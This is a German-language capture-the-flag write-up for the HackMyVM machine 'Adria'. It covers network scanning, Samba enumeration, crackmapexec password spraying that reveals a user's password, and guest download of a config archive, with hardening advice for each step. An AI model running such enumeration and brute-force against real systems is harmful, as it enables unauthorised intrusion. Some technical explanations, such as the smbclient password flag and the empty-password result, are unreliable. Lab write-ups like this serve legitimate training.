Adria - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
enum4linux
smbclient
crackmapexec
grep
chmod
python3
nc (netcat)
stty
ss
cat
file
find
getcap
wget
sudo
scalar (GIT)
ls
john (John the Ripper)
ssh2john
ssh
fcrackzip
python3 http.server

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt ist die Netzwerk-Aufklärung im lokalen Segment. Mit `arp-scan -l` senden wir ARP-Anfragen an alle möglichen Adressen im lokalen Netz, um aktive Geräte zu identifizieren. ARP (Address Resolution Protocol) arbeitet auf Schicht 2 des OSI-Modells und ist oft schneller und unauffälliger als ein IP-Scan (Schicht 3), da es nicht durch einfache Firewalls blockiert wird.

Bewertung: Dieser Befehl ist grundlegend für die erste Phase eines internen Penetrationstests. Er liefert schnell die IP- und MAC-Adressen aktiver Hosts. Die Ausgabe zeigt einen Host mit der IP `192.168.2.110` und der MAC-Adresse `08:00:27:c1:c4:92`. Die MAC-Adresse gehört laut OUI-Lookup (Organizationally Unique Identifier) zu "PCS Systemtechnik GmbH", was oft auf VirtualBox-VMs hinweist (da Oracle diese OUI übernommen hat).

Empfehlung (Pentester): Die gefundene IP-Adresse ist unser primäres Ziel für weitere Scans. Die MAC-Adresse notieren, sie kann bei der Identifizierung der Virtualisierungssoftware helfen.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung von ARP-Traffic können helfen, unautorisierte Geräteerkennung zu erschweren oder zu erkennen. Sicherstellen, dass keine unnötigen VMs im Netzwerk aktiv sind.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.110	08:00:27:c1:c4:92	PCS Systemtechnik GmbH

Analyse: Um die Arbeit mit der Ziel-IP zu erleichtern, wird ein Eintrag in der lokalen Hosts-Datei (`/etc/hosts`) vorgenommen. Der Befehl `vi /etc/hosts` öffnet die Datei im Texteditor `vi`. Dort wird die IP `192.168.2.110` dem Hostnamen `adria.hmv` zugeordnet. Dies ermöglicht es, das Zielsystem im weiteren Verlauf über den Namen `adria.hmv` anzusprechen, was oft lesbarer ist und in manchen Webanwendungen (z.B. bei virtuellen Hosts) notwendig sein kann.

Bewertung: Dies ist eine übliche Vorgehensweise zur Vereinfachung. Es stellt sicher, dass DNS-Anfragen für `adria.hmv` lokal zur korrekten IP aufgelöst werden, unabhängig von einem externen DNS-Server. Die Wahl des Namens `adria.hmv` ist hier willkürlich, könnte aber auf Informationen aus vorherigen Schritten oder Konventionen basieren.

Empfehlung (Pentester): Immer die Hosts-Datei anpassen, wenn man mit festen IPs und potenziellen Webservern arbeitet. Dies vermeidet spätere Probleme mit virtuellen Hosts oder TLS-Zertifikaten.
Empfehlung (Admin): Die Manipulation der Hosts-Datei ist ein lokaler Vorgang auf dem Angreifer-System und kann serverseitig nicht direkt verhindert werden. Die Verwendung von Hostnamen in Serverkonfigurationen sollte dokumentiert sein.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.110   adria.hmv

Analyse: Ein umfassender Portscan wird mit `nmap` durchgeführt. * `-sS`: SYN-Scan (Stealth-Scan), versucht, offene Ports zu erkennen, ohne eine vollständige TCP-Verbindung aufzubauen. Effizient und relativ unauffällig. * `-sV`: Versionserkennung, versucht, den Dienst und seine Version auf offenen Ports zu identifizieren. * `-A`: Aktiviert OS-Erkennung (`-O`), Versionserkennung (`-sV`), Skript-Scanning (`-sC`) und Traceroute (`--traceroute`). Dies liefert sehr detaillierte Informationen. * `-O`: Betriebssystemerkennung (Teil von `-A`). * `-T5`: Timing-Template "insane". Sehr schnell, aber potenziell ungenau und laut (kann von IDS/IPS erkannt werden). * `192.168.2.110`: Die Ziel-IP-Adresse. * `-p-`: Scannt alle 65535 TCP-Ports.

Bewertung: Der Scan ist sehr gründlich und liefert eine Fülle an Informationen. Die Ergebnisse sind entscheidend: * **Offene Ports:** 22 (SSH - OpenSSH 9.2p1), 80 (HTTP - Apache 2.4.57), 139 (NetBIOS-SSN - Samba 4.6.2), 445 (SMB - Samba 4.6.2). * **SSH:** Zeigt spezifische Host-Keys. * **HTTP:** Läuft ein Apache-Server, der eine Subrion CMS-Seite (Version 4.2) hostet. Das `robots.txt` enthüllt interessante Verzeichnisse (`/backup/`, `/panel/`, `/install/`). * **Samba:** Ports 139/445 deuten auf Windows-Dateifreigaben hin, die hier von Samba auf einem Linux-System bereitgestellt werden. Die Version 4.6.2 ist relativ alt. `smb2-security-mode` zeigt, dass Message Signing aktiviert, aber nicht erzwungen wird. * **OS-Erkennung:** Deutet auf Linux Kernel 4.x oder 5.x hin. * **Traceroute:** Bestätigt, dass das Ziel direkt erreichbar ist (1 Hop).

Empfehlung (Pentester): Jeder offene Port ist ein potenzieller Angriffsvektor. SSH (Brute-Force, bekannte Schwachstellen?), HTTP (Web-Schwachstellen im Subrion CMS, Verzeichnisse aus robots.txt untersuchen), Samba (Enumeration, Fehlkonfigurationen, bekannte Schwachstellen in Version 4.6.2?). `-T5` ist riskant in realen Szenarien, `-T4` ist oft ein besserer Kompromiss.
Empfehlung (Admin): Nicht benötigte Ports schließen (Firewall). Dienste aktuell halten (SSH, Apache, Samba). Message Signing für SMB erzwingen (`server signing = mandatory` in `smb.conf`). Sensible Verzeichnisse in `robots.txt` vermeiden, wenn möglich, oder besser schützen. IDS/IPS zur Erkennung aggressiver Scans wie `-T5` einsetzen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -AO -T5 192.168.2.110 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 14:20 CEST
Nmap scan report for adria.hmv (192.168.2.110)
Host is up (0.00011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp  open  http        Apache httpd 2.4.57 ((Debian))
|_http-title: Blog :: Powered by Subrion 4.2
|_http-generator: Subrion CMS - Open Source Content Management System
|_http-server-header: Apache/2.4.57 (Debian)
| http-robots.txt: 7 disallowed entries 
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/ 
|_/updates/
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:C1:C4:92 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-04-26T12:21:03
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 1s
|_nbstat: NetBIOS name: ADRIA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms adria.hmv (192.168.2.110)

Analyse: Dieser Befehl wiederholt den vorherigen Nmap-Scan, leitet die Ausgabe aber durch `grep open`. Das Ziel ist es, nur die Zeilen anzuzeigen, die offene Ports enthalten, um eine kompaktere Übersicht zu erhalten.

Bewertung: Eine schnelle Methode, um die wesentlichen Ergebnisse des Portscans zu extrahieren. Es bestätigt die vier offenen Ports: 22 (SSH), 80 (HTTP), 139 (NetBIOS-SSN), 445 (NetBIOS-SSN). Diese gefilterte Ansicht ist nützlich für eine schnelle Zusammenfassung oder zur Weiterverarbeitung in Skripten.

Empfehlung (Pentester): `grep` ist ein mächtiges Werkzeug zur Filterung von Tool-Ausgaben. Für komplexere Filterungen können auch `awk` oder `sed` nützlich sein. Die vollständige Nmap-Ausgabe sollte jedoch für detaillierte Analysen gespeichert werden.
Empfehlung (Admin): Keine spezifischen defensiven Maßnahmen gegen `grep`, da es auf der Client-Seite arbeitet. Die Maßnahmen beziehen sich auf die Reduzierung der Angriffsfläche (offene Ports).

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -AO -T5 192.168.2.110 -p- | grep open
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.57 ((Debian))
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Web Enumeration & SMB

Analyse: `enum4linux` ist ein Tool zur Enumeration von Informationen aus Windows- und Samba-Systemen. Der Parameter `-a` führt alle einfachen Enumerationsversuche durch, einschließlich der Abfrage von Freigaben, Benutzerlisten (via RID-Cycling), Gruppen, Passwortrichtlinien und mehr. Es versucht, eine Null-Session (anonyme Verbindung) zu nutzen.

Bewertung: `enum4linux` liefert wertvolle Informationen über das Samba-Setup: * **Shares:** Es findet die Freigaben `print$`, `DebianShare`, `IPC$` und `nobody`. `DebianShare` und `nobody` könnten interessant sein. * **Benutzer:** Via RID-Cycling (Rateversuch von Benutzer-IDs) findet es den lokalen Benutzer `nobody` und, was wichtiger ist, den Unix-Benutzer `adriana` (UID 1001). Dies ist ein wichtiger Fund, da es einen potenziellen Benutzernamen für weitere Angriffe (Brute-Force, Default-Passwörter) liefert.

Empfehlung (Pentester): Den gefundenen Benutzernamen `adriana` notieren. Die Freigaben `DebianShare` und `nobody` auf anonymen Lese-/Schreibzugriff prüfen. Weitere Enumerationstools wie `smbmap` oder `crackmapexec` verwenden, um Berechtigungen zu testen.
Empfehlung (Admin): Anonymen Zugriff (Null-Sessions) auf Samba-Freigaben einschränken (`restrict anonymous = 2` in `smb.conf`). RID-Cycling erschweren, obwohl dies schwierig vollständig zu verhindern ist. Unnötige Freigaben entfernen oder Berechtigungen strikt setzen.

┌──(root㉿cyber)-[~]
└─# enum4linux -a 192.168.2.110
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        DebianShare     Disk      
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
        nobody          Disk      Home Directories

[+] Enumerating users using SID S-1-5-21-1903402102-4053509503-3625836849 and logon username '', password ''

S-1-5-21-1903402102-4053509503-3625836849-501 ADRIA\nobody (Local User)
S-1-5-21-1903402102-4053509503-3625836849-513 ADRIA\None (Domain Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1001 Unix User\adriana (Local User)

Analyse: Der Befehl `smbclient -L \\\\192.168.2.110` listet die verfügbaren SMB-Freigaben auf dem Zielserver auf. `-L` steht für "List". Es wird versucht, sich anonym zu verbinden (da kein Benutzername angegeben ist), und es wird nach einem Passwort für den Benutzer `root` der lokalen `WORKGROUP` gefragt (dies kann oft mit Enter bestätigt werden, wenn eine Null-Session erlaubt ist).

Bewertung: Dieser Befehl bestätigt die Ergebnisse von `enum4linux` bezüglich der Freigaben: `print$`, `DebianShare`, `IPC$`, `nobody`. Es zeigt, dass eine anonyme Auflistung der Freigaben möglich ist, was eine häufige Fehlkonfiguration darstellt.

Empfehlung (Pentester): Nachdem die Freigaben bekannt sind, als nächstes versuchen, auf jede Freigabe zuzugreifen (z.B. `smbclient //192.168.2.110/DebianShare`) – zuerst anonym, dann mit bekannten Benutzernamen.
Empfehlung (Admin): Anonymen Zugriff auf Freigabelisten verhindern (`restrict anonymous = 2` in `smb.conf`).

┌──(root㉿cyber)-[~]
└─# smbclient -L \\\\192.168.2.110
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        DebianShare     Disk
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
        nobody          Disk      Home Directories

Reconnecting with SMB1 for workgroup listing.

Analyse: `crackmapexec` (CME) wird verwendet, um einen Passwort-Spraying-/Brute-Force-Angriff gegen den SMB-Dienst durchzuführen. * `smb`: Gibt das Protokoll an. * `192.168.2.110`: Das Ziel. * `-u adriana`: Der Benutzername, der zuvor mit `enum4linux` gefunden wurde. * `-p /usr/share/wordlists/rockyou.txt`: Die Wortliste, die für die Passwörter verwendet wird.

Bewertung: Der Angriff ist erfolgreich! `crackmapexec` findet gültige Anmeldedaten für den Benutzer `adriana`. Das Passwort wird als `s13!34g$3FVA5e@ed` angezeigt. Dies ist ein kritischer Fund, da wir nun potenziell Zugriff auf das System über SMB oder möglicherweise SSH (falls das Passwort wiederverwendet wird) haben.

Empfehlung (Pentester): Die gefundenen Zugangsdaten (`adriana`:`s13!34g$3FVA5e@ed`) sofort testen, um auf die `DebianShare` zuzugreifen und zu prüfen, ob sie auch für SSH gelten. Immer starke, einzigartige Passwörter verwenden!
Empfehlung (Admin): Starke Passwortrichtlinien durchsetzen (Länge, Komplexität, keine Wörterbuchwörter). Account Lockout-Mechanismen implementieren, um Brute-Force-Angriffe zu verlangsamen oder zu verhindern. Regelmäßige Passwort-Audits durchführen. Überwachung auf fehlgeschlagene Anmeldeversuche.

┌──(root㉿cyber)-[~]
└─# crackmapexec smb 192.168.2.110 -u adriana -p /usr/share/wordlists/rockyou.txt
SMB         192.168.2.110   445    ADRIA            [*] Windows 6.1 Build 0 (name:ADRIA) (domain:speedport.ip) (signing:False) (SMBv1:False)
SMB         192.168.2.110   445    ADRIA            [+] speedport.ip\adriana:s13!34g$3FVA5e@ed 

Analyse: Dieser Abschnitt zeigt HTML- und JavaScript-Code, der wahrscheinlich aus dem Quellcode der Webseite unter `http://adria.hmv/` stammt (Subrion CMS). Es enthält einen Copyright-Hinweis, einen versteckten Bild-Tag, der auf `/cron/?427` verweist (möglicherweise ein Tracking-Pixel oder ein Mechanismus zum Auslösen von Cronjobs über Webzugriffe), und JavaScript-Code, der Konfigurationsvariablen (`intelli.pageName`, `intelli.securityToken`, `intelli.config.url`) setzt und eine externe JavaScript-Datei lädt.

Bewertung: Der `securityToken` (`FwqPghfbrVN2HY7SmHuzrWDfZp3BhH1ZSIa1JgZQ`) könnte ein CSRF-Token sein, der für bestimmte Aktionen benötigt wird. Der Verweis auf `/cron/` ist interessant und könnte ein Hinweis auf die Cronjob-Verwaltung des CMS sein. Die Struktur `//adria.hmv/...` für URLs deutet darauf hin, dass die Seite sowohl über HTTP als auch HTTPS funktionieren könnte (obwohl Nmap nur Port 80 fand).

Empfehlung (Pentester): Den Quellcode von Webseiten immer auf interessante Kommentare, versteckte Felder, Tokens und Endpunkte untersuchen. Den `/cron/`-Endpunkt und die Funktion des `securityToken` genauer analysieren. Prüfen, ob das Token vorhersagbar oder wiederverwendbar ist.
Empfehlung (Admin): Sicherstellen, dass keine sensiblen Informationen (wie interne Pfade oder Tokens mit geringer Entropie) im Frontend-Code exponiert werden. CSRF-Tokens sollten pro Sitzung oder pro Anfrage generiert und serverseitig validiert werden.

<p class="copyright">&copy; 2024 Powered by <a href="https://subrion.org" title="Open Source CMS">Subrion CMS</a></p>

       <!-- SYSTEM STUFF -->

                    <div style="display: none;">
                <img src="//adria.hmv/cron/?427" width="1" height="1" alt="">
            </div>

<script>
intelli.pageName = 'blog';
            intelli.securityToken = 'FwqPghfbrVN2HY7SmHuzrWDfZp3BhH1ZSIa1JgZQ';
            intelli.config.url = 'http://adria.hmv/';
</script>
	<script src="//adria.hmv/templates/kickstart/js/app.js?fm=1699254316"></script>


    </body>

Analyse: Dieser Text scheint eine Bestätigungsnachricht nach einer Benutzerregistrierung im Subrion CMS zu sein. Sie informiert den Benutzer darüber, dass die Registrierung erfolgreich war und das Passwort an die angegebene E-Mail-Adresse (`ben@hacker.de:password`) gesendet wurde.

Bewertung: Das ist ein sehr interessanter Fund! Es deutet darauf hin, dass: 1. Eine Registrierungsfunktion auf der Webseite existiert. 2. Passwörter möglicherweise im Klartext oder in einer leicht zugänglichen Form per E-Mail versendet werden. 3. Die angezeigte E-Mail `ben@hacker.de:password` könnte ein Platzhalter, ein Testeintrag oder sogar das tatsächliche Format sein, in dem die Information angezeigt wird (was unsicher wäre). Die Angabe ":password" direkt nach der E-Mail ist höchst ungewöhnlich und könnte ein Hinweis auf eine Schwachstelle oder einen Fehler sein.

Empfehlung (Pentester): Die Registrierungsfunktion gründlich untersuchen. Versuchen, sich selbst zu registrieren und zu prüfen, wie das Passwort übermittelt wird. Prüfen, ob die E-Mail-Adresse manipuliert werden kann, um das Passwort an eine andere Adresse zu senden. Untersuchen, ob das Format `email:password` an anderer Stelle im CMS verwendet wird.
Empfehlung (Admin): Passwörter niemals im Klartext per E-Mail versenden. Stattdessen einen Link zum Zurücksetzen des Passworts oder ein Einmalpasswort senden. Die Registrierungsfunktion auf Schwachstellen überprüfen und sicherstellen, dass keine sensiblen Informationen preisgegeben werden.

    Home Registration 

Registration

    Member registered! Thank you!

Below is the information you submitted so far. You will be able to extend and edit this information via your member account.

Important Your account password has been sent to the following email address:

ben@hacker.de:password

Please read our letter with further instructions.

Click here to get back to index page.

Analyse: Erneuter Einsatz von `crackmapexec` gegen SMB. * `-u 'adriana'`: Der Benutzername. * `-p ''`: Testet ein leeres Passwort. * `--users`: Versucht, eine Liste aller Benutzer vom System zu enumerieren (via SAMRPC). * `--pass-pol`: Versucht, die Passwortrichtlinien des Systems abzufragen.

Bewertung: * Ein leeres Passwort für `adriana` funktioniert nicht (`[+] speedport.ip\adriana: ` ohne Passwort bedeutet erfolgreiche Authentifizierung, aber nicht notwendigerweise mit leerem Passwort – hier wahrscheinlich ein Fehler in der CME-Ausgabe oder eine anonyme Bindung). * Die Enumeration der Domain-Benutzer schlägt fehl (`Connection refused`), was darauf hindeutet, dass der DC nicht erreichbar ist oder der Dienst nicht läuft. * Der Versuch, Benutzer über SAMRPC zu enumerieren, scheint erfolgreich zu sein (`[+] Enumerated domain user(s)`), obwohl keine Benutzer aufgelistet werden. * Die Abfrage der Passwortrichtlinien ist erfolgreich und liefert Details: Mindestlänge 5, Maximalalter ~37 Tage, kein Komplexitätszwang (`Domain Password Complex: 0`). Diese Informationen sind nützlich für gezieltere Passwortangriffe.

Empfehlung (Pentester): Die Informationen zur Passwortrichtlinie nutzen, um Wortlisten anzupassen (z.B. Mindestlänge 5). Die Fehlermeldung bezüglich der Domain-Benutzer-Enumeration zur Kenntnis nehmen.
Empfehlung (Admin): Passwortrichtlinien verschärfen (längere Mindestlänge, Komplexität erzwingen). Den Zugriff auf SAMRPC einschränken, wenn nicht benötigt. Sicherstellen, dass nur notwendige Informationen über Passwortrichtlinien preisgegeben werden.

┌──(root㉿cyber)-[~]
└─# crackmapexec smb 192.168.2.110 -u 'adriana' -p '' --users --pass-pol
SMB         192.168.2.110   445    ADRIA            [*] Windows 6.1 Build 0 (name:ADRIA) (domain:speedport.ip) (signing:False) (SMBv1:False)
SMB         192.168.2.110   445    ADRIA            [+] speedport.ip\adriana: 
SMB         192.168.2.110   445    ADRIA            [-] Error enumerating domain users using dc ip 192.168.2.110: socket connection error while opening: [Errno 111] Connection refused
SMB         192.168.2.110   445    ADRIA            [*] Trying with SAMRPC protocol
SMB         192.168.2.110   445    ADRIA            [+] Enumerated domain user(s)
SMB         192.168.2.110   445    ADRIA            [+] Enumerated domain user(s)
SMB         192.168.2.110   445    ADRIA            [+] Dumping password info for domain: ADRIA
SMB         192.168.2.110   445    ADRIA            Minimum password length: 5
SMB         192.168.2.110   445    ADRIA            Password history length: None
SMB         192.168.2.110   445    ADRIA            Maximum password age: 37 days 6 hours 21 minutes 
SMB         192.168.2.110   445    ADRIA            
SMB         192.168.2.110   445    ADRIA            Password Complexity Flags: 000000
SMB         192.168.2.110   445    ADRIA            	Domain Refuse Password Change: 0
SMB         192.168.2.110   445    ADRIA            	Domain Password Store Cleartext: 0
SMB         192.168.2.110   445    ADRIA            	Domain Password Lockout Admins: 0
SMB         192.168.2.110   445    ADRIA            	Domain Password No Clear Change: 0
SMB         192.168.2.110   445    ADRIA            	Domain Password No Anon Change: 0
SMB         192.168.2.110   445    ADRIA            	Domain Password Complex: 0
SMB         192.168.2.110   445    ADRIA            
SMB         192.168.2.110   445    ADRIA            Minimum password age: None
SMB         192.168.2.110   445    ADRIA            Reset Account Lockout Counter: 30 minutes 
SMB         192.168.2.110   445    ADRIA            Locked Account Duration: 30 minutes 
SMB         192.168.2.110   445    ADRIA            Account Lockout Threshold: None
SMB         192.168.2.110   445    ADRIA            Forced Log off Time: 37 days 6 hours 21 minutes 

Analyse: Erneuter Einsatz von `crackmapexec`, diesmal als Benutzer `guest` mit leerem Passwort (`-p ''`) und der Option `--shares`, um die lesbaren Freigaben für diesen Benutzer aufzulisten.

Bewertung: Der Gastzugang mit leerem Passwort ist erfolgreich (`[+] speedport.ip\guest:`). Die Auflistung der Freigaben zeigt, dass der Gastbenutzer Lesezugriff (`READ`) auf `DebianShare` hat. Die anderen Freigaben (`print$`, `IPC$`, `nobody`) werden ebenfalls aufgelistet, jedoch ohne explizite Berechtigungsangabe für den Gast (was aber nicht bedeutet, dass kein Zugriff besteht).

Empfehlung (Pentester): Der Lesezugriff auf `DebianShare` als Gast ist ein wichtiger Fund. Diese Freigabe sollte sofort genauer untersucht werden (z.B. mit `smbclient` oder `crackmapexec --spider`), um nach interessanten Dateien zu suchen.
Empfehlung (Admin): Gastzugänge deaktivieren oder stark einschränken (`map to guest = Never` oder `Bad User` in `smb.conf`). Sicherstellen, dass Freigaben nur die minimal notwendigen Berechtigungen haben und nicht für anonyme oder Gastbenutzer lesbar sind, es sei denn, dies ist explizit beabsichtigt.

┌──(root㉿cyber)-[~]
└─# crackmapexec smb 192.168.2.110 -u guest -p '' --shares
SMB         192.168.2.110   445    ADRIA            [*] Windows 6.1 Build 0 (name:ADRIA) (domain:speedport.ip) (signing:False) (SMBv1:False)
SMB         192.168.2.110   445    ADRIA            [+] speedport.ip\guest: 
SMB         192.168.2.110   445    ADRIA            [+] Enumerated shares
SMB         192.168.2.110   445    ADRIA            Share           Permissions     Remark
SMB         192.168.2.110   445    ADRIA            -----           -----------     ------
SMB         192.168.2.110   445    ADRIA            print$                          Printer Drivers
SMB         192.168.2.110   445    ADRIA            DebianShare     READ            
SMB         192.168.2.110   445    ADRIA            IPC$                            IPC Service (Samba 4.17.12-Debian)
SMB         192.168.2.110   445    ADRIA            nobody                          Home Directories

Analyse: `crackmapexec` wird erneut als Gastbenutzer verwendet. * `--spider DebianShare`: Durchsucht die angegebene Freigabe rekursiv nach Dateien und Verzeichnissen. * `--regex .`: Eine sehr einfache Regex, die auf alles passt (jeden Dateinamen). Das Ziel ist, einfach alle gefundenen Dateien aufzulisten.

Bewertung: Der Spider findet eine interessante Datei in der `DebianShare`-Freigabe: `configz.zip`. Die Datei hat eine beachtliche Größe (ca. 2.7 MB) und wurde zuletzt im November 2023 geändert. ZIP-Archive, besonders solche mit "config" im Namen, enthalten oft Konfigurationsdateien, möglicherweise auch mit Passwörtern oder anderen sensiblen Informationen.

Empfehlung (Pentester): Die Datei `configz.zip` unbedingt herunterladen und untersuchen. Tools wie `unzip`, `grep` und die Analyse von Dateiinhalten sind hier angezeigt.
Empfehlung (Admin): Sensible Konfigurationsdateien oder Backups sollten niemals auf anonym oder als Gast lesbaren Freigaben gespeichert werden. Zugriffskontrollen verschärfen und regelmäßig überprüfen, welche Daten auf Freigaben liegen.

┌──(root㉿cyber)-[~]
└─# crackmapexec smb 192.168.2.110 -u guest -p '' --spider DebianShare --regex .
SMB         192.168.2.110   445    ADRIA            [*] Windows 6.1 Build 0 (name:ADRIA) (domain:speedport.ip) (signing:False) (SMBv1:False)
SMB         192.168.2.110   445    ADRIA            [+] speedport.ip\guest: 
SMB         192.168.2.110   445    ADRIA            [*] Started spidering
SMB         192.168.2.110   445    ADRIA            [*] Spidering .
SMB         192.168.2.110   445    ADRIA            //192.168.2.110/DebianShare/. [dir]
SMB         192.168.2.110   445    ADRIA            //192.168.2.110/DebianShare/.. [dir]
SMB         192.168.2.110   445    ADRIA            //192.168.2.110/DebianShare/configz.zip [lastm:'2023-11-06 16:56' size:2756857]
SMB         192.168.2.110   445    ADRIA            [*] Done spidering (Completed in 0.01839447021484375)

Analyse: Mit `smbclient //192.168.2.110/DebianShare/` wird eine Verbindung zur `DebianShare`-Freigabe aufgebaut. Da kein Benutzername angegeben ist, wird wieder eine anonyme/Gast-Verbindung versucht (Passwort für `WORKGROUP\root` wird abgefragt und kann leer gelassen werden). Innerhalb der `smbclient`-Sitzung werden folgende Befehle ausgeführt: * `ls`: Listet den Inhalt des aktuellen Verzeichnisses auf der Freigabe auf. * `get configz.zip`: Lädt die Datei `configz.zip` von der Freigabe auf das lokale System herunter. * `put exploit.py`: Versucht, eine lokale Datei namens `exploit.py` auf die Freigabe hochzuladen.

Bewertung: * `ls` bestätigt die Existenz von `configz.zip`. * `get configz.zip` ist erfolgreich, die Datei wird heruntergeladen. Dies bestätigt den Lesezugriff. * `put exploit.py` schlägt mit `NT_STATUS_ACCESS_DENIED` fehl. Dies zeigt, dass der anonyme/Gast-Benutzer keinen Schreibzugriff auf die Freigabe hat.

Empfehlung (Pentester): Die heruntergeladene `configz.zip` analysieren. Da Schreibzugriff fehlt, ist das Hochladen einer Webshell oder eines Exploits über diese Freigabe als Gast nicht möglich. Man könnte versuchen, sich mit den zuvor gefundenen `adriana`-Zugangsdaten zu verbinden und den Schreibzugriff erneut zu testen.
Empfehlung (Admin): Korrekte Berechtigungen sind gesetzt (kein anonymer Schreibzugriff). Dennoch bleibt das Problem des anonymen Lesezugriffs auf potenziell sensible Daten (`configz.zip`).

┌──(root㉿cyber)-[~]
└─# smbclient //192.168.2.110/DebianShare/
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Dec  4 10:32:45 2023
  ..                                  D        0  Sat Jul 22 10:10:13 2023
  configz.zip                         N  2756857  Mon Nov  6 16:56:25 2023

		19480400 blocks of size 1024. 15693488 blocks available
smb: \> 

smb: \> get configz.zip 
getting file \configz.zip of size 2756857 as configz.zip (299134,9 KiloBytes/sec) (average 299138,1 KiloBytes/sec)

smb: \> put exploit.py 
NT_STATUS_ACCESS_DENIED opening remote file \exploit.py

Analyse: Nach dem Entpacken der heruntergeladenen `configz.zip` (dieser Schritt wird hier nicht explizit gezeigt, ist aber impliziert) navigiert der Pentester in die extrahierten Verzeichnisse. * `cd ..`: Wechselt vom Unterverzeichnis `isolinux` in das übergeordnete Verzeichnis `configz`. * `ll` (Alias für `ls -l` oder ähnlich): Listet den Inhalt des `configz`-Verzeichnisses auf. Es enthält die Unterverzeichnisse `boot`, `isolinux` und `preseed`. * `cd boot`: Wechselt in das `boot`-Verzeichnis. * `ll`: Listet den Inhalt des `boot`-Verzeichnisses auf, das ein `grub`-Unterverzeichnis enthält.

Bewertung: Die Verzeichnisstruktur (`boot`, `isolinux`, `preseed`) deutet stark darauf hin, dass `configz.zip` Dateien zur automatisierten Installation eines Betriebssystems (wahrscheinlich Debian/Ubuntu, basierend auf "preseed") enthält, möglicherweise von einem ISO-Image. Solche Konfigurationsdateien sind oft Goldgruben für Passwörter und Systemeinstellungen.

Empfehlung (Pentester): Die Verzeichnisse `isolinux` und insbesondere `preseed` nach Konfigurationsdateien (`.cfg`, `.seed`) durchsuchen. Diese enthalten häufig Klartext- oder verschlüsselte Passwörter für Benutzer und Root.
Empfehlung (Admin): Installationsmedien oder Konfigurationsarchive sollten bereinigt werden, bevor sie auf Freigaben landen. Niemals Passwörter in Klartext in solchen Dateien belassen. Preseed/Kickstart-Passwörter sollten nach der Installation geändert werden.

┌──(root㉿cyber)-[~/configz/isolinux]
└─# cd ..
┌──(root㉿cyber)-[~/configz]
└─# ll
insgesamt 20
drwxr-xr-x 3 root root  4096 13. Aug 2018  boot
drwxr-xr-x 2 root root 12288 13. Aug 2018  isolinux
drwxr-xr-x 2 root root  4096  4. Dez 10:31 preseed
┌──(root㉿cyber)-[~/configz]
└─# cd boot
┌──(root㉿cyber)-[~/configz/boot]
└─# ll
insgesamt 4
drwxr-xr-x 3 root root 4096 26. Apr 14:59 grub

Analyse: Es wird erneut versucht, sich mit `smbclient` zur `DebianShare` zu verbinden, diesmal jedoch mit den zuvor via `crackmapexec` gefundenen Zugangsdaten. * `-U "adriana"`: Gibt den Benutzernamen an. * `-N`: Unterdrückt die Passwortabfrage. Dies funktioniert nur, wenn das Passwort leer ist oder über andere Mechanismen (wie Kerberos) bereitgestellt wird. Hier ist es wahrscheinlich ein Fehler, da wir ein Passwort (`s13!...`) gefunden haben. Der Befehl hätte `-P "s13!34g$3FVA5e@ed"` oder eine interaktive Passwortabfrage verwenden sollen.

Bewertung: Der Befehl wird wahrscheinlich fehlschlagen oder sich anonym verbinden, da `-N` verwendet wird, obwohl ein Passwort existiert. Die Ausgabe zeigt nur den `smb: \>` Prompt, was darauf hindeutet, dass die Verbindung (möglicherweise anonym oder fehlgeschlagen) zustande kam, aber keine weiteren Aktionen durchgeführt wurden. Dieser Schritt scheint nicht zielführend gewesen zu sein, da die Credentials nicht korrekt verwendet wurden.

Empfehlung (Pentester): Beim Verwenden von Tools wie `smbclient` darauf achten, die korrekten Parameter für die Authentifizierung zu verwenden, insbesondere wenn Passwörter bekannt sind. `-N` ist nur für Null-Sessions oder passwortlose Authentifizierung gedacht.
Empfehlung (Admin): Keine spezifischen Maßnahmen, da der Angriffsversuch hier fehlerhaft war.

┌──(root㉿cyber)-[~/configz/boot]
└─# smbclient //192.168.2.110/DebianShare/ -U "adriana" -N
Password for [WORKGROUP\adriana]:
Try "help" to get a list of possible commands.
smb: \> 

